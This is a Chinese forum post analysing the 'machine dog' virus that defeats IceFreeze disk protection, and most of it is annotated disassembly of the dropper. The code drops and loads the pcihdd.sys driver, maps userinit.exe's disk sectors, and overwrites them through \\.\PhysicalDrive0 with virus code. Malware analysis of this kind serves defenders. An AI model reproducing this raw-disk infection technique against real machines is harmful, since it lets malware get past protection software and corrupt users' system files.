能力值:
( LV2,RANK:10 )
|
-
-
30 楼
真正的穿冰点病毒样本,我就一直在分析这个病毒,病毒的EXE部分大部分弄懂了,只差pcihdd.sys驱动还没有完全调试完,并且我已经自己写出了程序利用pcihdd.sys穿透了冰点,下面帖一下病毒EXE的分析过程,好让大家了解了解这个“神秘”的病毒~~呵呵~~
病毒样本在网盟下的,
《真正穿透冰点病毒的样本》文件名为explorer.exe,图标为一只机器狗,如下:
此主题相关图片如下:
程序加了壳,我也懒得脱壳了,真正的入口点在004016ED,用OD在此处下执行断点,断下来后代码如下:
004016ED push 0 ; 这里是真正的入口点
004016EF call 00401774 ; jmp 到 kernel32.GetModuleHandleA
004016F4 mov dword ptr [4030F0], eax
004016F9 call 004010C9 ; 这里负责释放pcihdd.sys然后加载它
004016FE push 100
00401703 push 004030F4
00401708 push 0040132B ; ASCII "%SystemRoot%\System32\Userinit.exe"
0040170D call 00401762 ; jmp 到 kernel32.ExpandEnvironmentStringsA
00401712 push 004030F4
00401717 call 0040134E ; 这里是重点了
0040171C or eax, eax
0040171E jnz short 0040172C
00401720 push 004030E7
00401725 call 00401792 ; jmp 到 kernel32.OutputDebugStringA
0040172A jmp short 00401732
0040172C push eax
0040172D call 00401792 ; jmp 到 kernel32.OutputDebugStringA
00401732 call 00401030 ; 这里卸载pcihdd.sys然后删除
00401737 push 0
00401739 call 0040175C ; 退出
004010C9处释放pcihdd.sys然后加载它,代码如下:
004010C9 push ebp
004010CA mov ebp, esp
004010CC add esp, -138
004010D2 push 3E9
004010D7 push 3E9
004010DC push dword ptr [4030F0] ; 查找自身里的pcihdd.sys资源
004010E2 call 00401768 ; jmp 到 kernel32.FindResourceA
004010E7 or eax, eax
004010E9 je short 00401128
004010EB mov dword ptr [ebp-10C], eax
004010F1 push eax
004010F2 push dword ptr [4030F0] ; explorer.00400000
004010F8 call 004017B0 ; jmp 到 kernel32.SizeofResource
004010FD mov dword ptr [ebp-114], eax
00401103 push dword ptr [ebp-10C]
00401109 push dword ptr [4030F0] ; explorer.00400000
0040110F call 00401786 ; jmp 到 kernel32.LoadResource
00401114 or eax, eax
00401116 je short 00401128
00401118 push eax
00401119 call 0040178C ; jmp 到 kernel32.SetHandleCount
0040111E or eax, eax
00401120 je short 00401128
00401122 mov dword ptr [ebp-110], eax
00401128 or eax, eax
0040112A jnz short 00401131
0040112C jmp 00401314
00401131 push 100
00401136 lea eax, dword ptr [ebp-108]
0040113C push eax
0040113D push 00401000 ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
00401142 call 00401762 ; jmp 到 kernel32.ExpandEnvironmentStringsA
00401147 push 0
00401149 push 80
0040114E push 4
00401150 push 0
00401152 push 0
00401154 push 40000000
00401159 lea eax, dword ptr [ebp-108]
0040115F push eax
00401160 call 0040174A ; jmp 到 kernel32.CreateFileA创建pcihdd.sys
00401165 cmp eax, -1
00401168 jnz short 00401171
0040116A jmp 00401314
0040116F jmp short 004011A6
00401171 mov dword ptr [ebp-8], eax
00401174 push 0
00401176 lea eax, dword ptr [ebp-4]
00401179 push eax
0040117A push dword ptr [ebp-114]
00401180 push dword ptr [ebp-110]
00401186 push dword ptr [ebp-8]
00401189 call 004017B6 ; jmp 到 kernel32.WriteFile写入
0040118E push dword ptr [ebp-8]
00401191 call 004017A4 ; jmp 到 kernel32.SetEndOfFile
00401196 push dword ptr [ebp-8]
00401199 call 0040176E ; jmp 到 kernel32.FlushFileBuffers刷新
0040119E push dword ptr [ebp-8]
004011A1 call 00401744 ; jmp 到 kernel32.CloseHandle
004011A6 push 0F003F
004011AB push 0
004011AD push 0 ;打开SCM
004011AF call 004017D4 ; jmp 到 ADVAPI32.OpenSCManagerA
004011B4 or eax, eax
004011B6 je 004012F0
004011BC mov dword ptr [ebp-118], eax
004011C2 push 0
004011C4 push 0
004011C6 push 0
004011C8 push 0
004011CA push 0
004011CC lea eax, dword ptr [ebp-108]
004011D2 push eax
004011D3 push 0
004011D5 push 3
004011D7 push 1
004011D9 push 0
004011DB push 00401029 ; ASCII "PciHdd"
004011E0 push 00401029 ; ASCII "PciHdd"
004011E5 push dword ptr [ebp-118] ;创建PciHdd服务
004011EB call 004017C8 ; jmp 到 ADVAPI32.CreateServiceA
004011F0 or eax, eax
004011F2 je short 0040120A ;如果创建失败,跳0040120A
004011F4 mov dword ptr [ebp-11C], eax
004011FA push dword ptr [ebp-11C]
00401200 call 004017BC ; jmp 到 ADVAPI32.CloseServiceHandle
00401205 jmp 0040129A
0040120A push 0F01FF ;这里创建失败则先停止原来的PciHdd服务然后删除再重新创建
0040120F push 00401029 ; ASCII "PciHdd"
00401214 push dword ptr [ebp-118]
0040121A call 004017DA ; jmp 到 ADVAPI32.OpenServiceA
0040121F or eax, eax
00401221 je short 00401253
00401223 mov dword ptr [ebp-11C], eax
00401229 lea eax, dword ptr [ebp-138]
0040122F push eax
00401230 push 1
00401232 push dword ptr [ebp-11C] ;停止原来的PciHdd服务
00401238 call 004017C2 ; jmp 到 ADVAPI32.ControlService
0040123D push dword ptr [ebp-11C] ;删除服务
00401243 call 004017CE ; jmp 到 ADVAPI32.DeleteService
00401248 push dword ptr [ebp-11C]
0040124E call 004017BC ; jmp 到 ADVAPI32.CloseServiceHandle
00401253 push 0
00401255 push 0
00401257 push 0
00401259 push 0
0040125B push 0
0040125D lea eax, dword ptr [ebp-108]
00401263 push eax
00401264 push 0
00401266 push 3
00401268 push 1
0040126A push 0
0040126C push 00401029 ; ASCII "PciHdd"
00401271 push 00401029 ; ASCII "PciHdd"
00401276 push dword ptr [ebp-118] ;重新创建
0040127C call 004017C8 ; jmp 到 ADVAPI32.CreateServiceA
00401281 or eax, eax
00401283 je short 00401298
00401285 mov dword ptr [ebp-11C], eax
0040128B push dword ptr [ebp-11C]
00401291 call 004017BC ; jmp 到 ADVAPI32.CloseServiceHandle
00401296 jmp short 0040129A
00401298 jmp short 00401314
0040129A push 10
0040129C push 00401029 ; ASCII "PciHdd"
004012A1 push dword ptr [ebp-118]
004012A7 call 004017DA ; jmp 到 ADVAPI32.OpenServiceA
004012AC or eax, eax
004012AE je short 004012E3
004012B0 mov dword ptr [ebp-11C], eax
004012B6 push 0
004012B8 push 0
004012BA push dword ptr [ebp-11C] ;启动服务
004012C0 call 004017E0 ; jmp 到 ADVAPI32.StartServiceA
004012C5 or eax, eax
004012C7 jnz short 004012CB
004012C9 jmp short 00401314
004012CB push dword ptr [ebp-11C]
004012D1 call 004017BC ; jmp 到 ADVAPI32.CloseServiceHandle
004012D6 push dword ptr [ebp-118]
004012DC call 004017BC ; jmp 到 ADVAPI32.CloseServiceHandle
004012E1 jmp short 004012F0
004012E3 push dword ptr [ebp-118]
004012E9 call 004017BC ; jmp 到 ADVAPI32.CloseServiceHandle
004012EE jmp short 00401314
004012F0 push 100
004012F5 lea eax, dword ptr [ebp-108]
004012FB push eax
004012FC push 00401000 ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
00401301 call 00401762 ; jmp 到 kernel32.ExpandEnvironmentStringsA
00401306 lea eax, dword ptr [ebp-108]
0040130C push eax ;删除pcihdd.sys文件
0040130D call 00401750 ; jmp 到 kernel32.DeleteFileA
00401312 leave
00401313 retn ;返回了
下面是0040134E处是重点了~~如下:
0040134E push ebp
0040134F mov ebp, esp
00401351 add esp, -554
00401357 pushad
00401358 push 0
0040135A push 0
0040135C push 3
0040135E push 0
00401360 push 0
00401362 push 80000000 ;打开设备,\\.\PhysicalHardDisk0是pcihdd.sys创建的符号链接
00401367 push 0040302E ; ASCII "\\.\PhysicalHardDisk0"
0040136C call 0040174A ; jmp 到 kernel32.CreateFileA
00401371 cmp eax, -1
00401374 je 004016DE
0040137A mov dword ptr [ebp-548], eax
00401380 push 0
00401382 push 20000000
00401387 push 3
00401389 push 0
0040138B push 3
0040138D push 80000000
00401392 push dword ptr [ebp+8] ;打开userinit.exe
00401395 call 0040174A ; jmp 到 kernel32.CreateFileA
0040139A cmp eax, -1
0040139D je 004016CA
004013A3 mov dword ptr [ebp-C], eax
004013A6 xor eax, eax
004013A8 mov dword ptr [ebp-14], eax
004013AB mov dword ptr [ebp-10], eax
004013AE push 110
004013B3 lea eax, dword ptr [ebp-12C]
004013B9 push eax
004013BA call 0040179E ; jmp 到 ntdll.RtlZeroMemory
004013BF push 0
004013C1 lea eax, dword ptr [ebp-18]
004013C4 push eax
004013C5 push 110
004013CA lea eax, dword ptr [ebp-12C]
004013D0 push eax
004013D1 push 8
004013D3 lea eax, dword ptr [ebp-14]
004013D6 push eax
004013D7 push 90073
004013DC push dword ptr [ebp-C] ;发送FSCTL_GET_RETRIEVAL_POINTERS获取userinit.exe的文件分配图
004013DF call 00401756 ; jmp 到 kernel32.DeviceIoControl
004013E4 or eax, eax
004013E6 je 004016B3
004013EC lea edi, dword ptr [ebp-12C]
004013F2 mov ebx, dword ptr [edi]
004013F4 lea edi, dword ptr [edi+10]
004013F7 mov eax, dword ptr [ebp-18]
004013FA or ebx, ebx
004013FC je 004016BA
00401402 mov eax, dword ptr [edi+8]
00401405 mov edx, dword ptr [edi+C]
00401408 cmp eax, -1
0040140B je 004016AA
00401411 cmp edx, -1
00401414 je 004016AA
0040141A mov dword ptr [ebp-53C], eax
00401420 mov dword ptr [ebp-538], edx
00401426 push 0
00401428 lea eax, dword ptr [ebp-18]
0040142B push eax
0040142C push 200
00401431 lea eax, dword ptr [ebp-32C]
00401437 push eax
00401438 push dword ptr [ebp-C] ;读取userinit.exe
0040143B call 00401798 ; jmp 到 kernel32.ReadFile
00401440 push dword ptr [ebp-C]
00401443 call 00401744 ; jmp 到 kernel32.CloseHandle
00401448 mov dword ptr [ebp-C], 0
0040144F push 0
00401451 push 0
00401453 push 3
00401455 push 0
00401457 push 3
00401459 push C0000000 ;打开物理硬盘
0040145E push 00403044 ; ASCII "\\.\PhysicalDrive0"
00401463 call 0040174A ; jmp 到 kernel32.CreateFileA
00401468 cmp eax, -1
0040146B je 004016B1
00401471 mov dword ptr [ebp-530], eax
00401477 push 0
00401479 push 0
0040147B push 0
0040147D push dword ptr [ebp-530]
00401483 call 004017AA ; jmp 到 kernel32.SetFilePointer
00401488 push 0
0040148A lea eax, dword ptr [ebp-18]
0040148D push eax
0040148E push 200
00401493 lea eax, dword ptr [ebp-52C]
00401499 push eax
0040149A push dword ptr [ebp-530] ;读取1扇区
004014A0 call 00401798 ; jmp 到 kernel32.ReadFile
004014A5 lea edi, dword ptr [ebp-52C]
004014AB cmp byte ptr [edi+1BE], 80 ;第一分区是否为可引导分区
004014B2 jnz 00401696
004014B8 movzx ebx, byte ptr [edi+1C2]
004014BF cmp ebx, 0B ;文件系统是否为FAT32
004014C2 je short 004014D2
004014C4 cmp ebx, 0C ;文件系统是否为FAT32
004014C7 je short 004014D2
004014C9 cmp ebx, 7 ;文件系统是否为NTFS
004014CC jnz 0040168D
004014D2 mov eax, dword ptr [edi+1C6] ;C盘起始扇区
004014D8 mov dword ptr [ebp-534], eax
004014DE xor edx, edx
004014E0 imul eax, eax, 200
004014E6 mov dword ptr [ebp-18], edx
004014E9 mov ecx, eax
004014EB push 0
004014ED lea eax, dword ptr [ebp-18]
004014F0 push eax
004014F1 push ecx
004014F2 push dword ptr [ebp-530] ;定位到C盘
004014F8 call 004017AA ; jmp 到 kernel32.SetFilePointer
004014FD push 0
004014FF lea eax, dword ptr [ebp-18]
00401502 push eax
00401503 push 200
00401508 lea eax, dword ptr [ebp-52C]
0040150E push eax
0040150F push dword ptr [ebp-530] ;读取C盘1扇区
00401515 call 00401798 ; jmp 到 kernel32.ReadFile
0040151A lea edi, dword ptr [ebp-52C]
00401520 movzx eax, word ptr [edi+E]
00401524 add dword ptr [ebp-534], eax
0040152A cmp ebx, 0B ;文件系统是否为FAT32
0040152D je short 00401534
0040152F cmp ebx, 0C ;文件系统是否为FAT32
00401532 jnz short 00401546
00401534 movzx ecx, byte ptr [edi+10]
00401538 mov eax, dword ptr [edi+24]
0040153B xor edx, edx
0040153D imul eax, ecx
00401540 add dword ptr [ebp-534], eax
00401546 mov eax, dword ptr [ebp-53C]
0040154C mov edx, dword ptr [ebp-538]
00401552 movzx ecx, byte ptr [edi+D]
00401556 mov dword ptr [ebp-54C], ecx
0040155C imul eax, ecx
0040155F add eax, dword ptr [ebp-534]
00401565 adc edx, 0
00401568 imul eax, eax, 200
0040156E mov dword ptr [ebp-540], edx
00401574 mov dword ptr [ebp-544], eax
0040157A push 0
0040157C lea eax, dword ptr [ebp-540]
00401582 push eax
00401583 push dword ptr [ebp-544]
00401589 push dword ptr [ebp-530] ;定位到userinit.exe
0040158F call 004017AA ; jmp 到 kernel32.SetFilePointer
00401594 push 0
00401596 lea eax, dword ptr [ebp-18]
00401599 push eax
0040159A push 200
0040159F lea eax, dword ptr [ebp-52C]
004015A5 push eax
004015A6 push dword ptr [ebp-530] ;读取userinit.exe
004015AC call 00401798 ; jmp 到 kernel32.ReadFile
004015B1 lea edi, dword ptr [ebp-52C]
004015B7 lea esi, dword ptr [ebp-32C]
004015BD mov ecx, 200
004015C2 repe cmps byte ptr es:[edi], byte ptr [esi] ;和之前读取的userinit.exe比较
004015C4 or ecx, ecx
004015C6 jnz 00401684
004015CC push 0
004015CE lea eax, dword ptr [ebp-540]
004015D4 push eax
004015D5 push dword ptr [ebp-544]
004015DB push dword ptr [ebp-530] ;重新定位到userinit.exe
004015E1 call 004017AA ; jmp 到 kernel32.SetFilePointer
004015E6 mov eax, dword ptr [ebp-54C]
004015EC shl eax, 9
004015EF mov dword ptr [ebp-54C], eax
004015F5 push dword ptr [ebp-54C]
004015FB push 40 ;分配内存用于存放从pcihdd.sys返回的数据
004015FD call 0040177A ; jmp 到 kernel32.GlobalAlloc
00401602 or eax, eax
00401604 je short 00401670
00401606 mov dword ptr [ebp-550], eax ;下面两条指令计算病毒自身代码的长度
0040160C mov ecx, 0040173E ; jmp 到 USER32.MessageBoxA
00401611 sub ecx, 00401000 ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
00401617 push 0
00401619 lea eax, dword ptr [ebp-18]
0040161C push eax
0040161D push dword ptr [ebp-54C]
00401623 push dword ptr [ebp-550]
00401629 push ecx
0040162A push 00401000 ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
0040162F push F0003C04 ;这里是重点了,向pcihdd.sys发送IOCTL,输入数据为病毒自身的代码和大小,pcihdd.sys将返回数据用于修改userinit.exe
00401634 push dword ptr [ebp-548]
0040163A call 00401756 ; jmp 到 kernel32.DeviceIoControl
0040163F push 0
00401641 lea eax, dword ptr [ebp-18]
00401644 push eax
00401645 push dword ptr [ebp-54C]
0040164B push dword ptr [ebp-550]
00401651 push dword ptr [ebp-530] ;将pcihdd.sys返回的数据写入userinit.exe
00401657 call 004017B6 ; jmp 到 kernel32.WriteFile
0040165C push dword ptr [ebp-530]
00401662 call 0040176E ; jmp 到 kernel32.FlushFileBuffers
00401667 mov dword ptr [ebp-1C], 0
0040166E jmp short 00401677
00401670 mov dword ptr [ebp-1C], 00403057
00401677 push dword ptr [ebp-550]
0040167D call 00401780 ; jmp 到 kernel32.GlobalFree 释放内存
00401682 jmp short 0040169D ;下面就没什么重要的了
00401684 mov dword ptr [ebp-1C], 00403066
0040168B jmp short 0040169D
0040168D mov dword ptr [ebp-1C], 00403075
00401694 jmp short 0040169D
00401696 mov dword ptr [ebp-1C], 00403086
0040169D push dword ptr [ebp-530]
004016A3 call 00401744 ; jmp 到 kernel32.CloseHandle
004016A8 jmp short 004016B1
004016AA mov dword ptr [ebp-1C], 0040309D
004016B1 jmp short 004016BA
004016B3 mov dword ptr [ebp-1C], 004030B8
004016BA cmp dword ptr [ebp-C], 0
004016BE je short 004016D1
004016C0 push dword ptr [ebp-C]
004016C3 call 00401744 ; jmp 到 kernel32.CloseHandle
004016C8 jmp short 004016D1
004016CA mov dword ptr [ebp-1C], 004030CD
004016D1 push dword ptr [ebp-548]
004016D7 call 00401744 ; jmp 到 kernel32.CloseHandle
004016DC jmp short 004016E5
004016DE mov dword ptr [ebp-1C], 004030DA
004016E5 popad
004016E6 mov eax, dword ptr [ebp-1C]
004016E9 leave
004016EA retn 4 ;返回了
关键代码就这里了,后面还有一些卸载和删除驱动的代码,就不帖了,当然更加关键的代码在pcihdd.sys中,目前还没有调试完~~关于这个病毒的防御,还没有一种完美的方法,网盟上有不少临时的防御方法,不过都不怎么完美,一旦出变种一样玩完~~希望有其他高手尽快彻底的解决问题~~~
|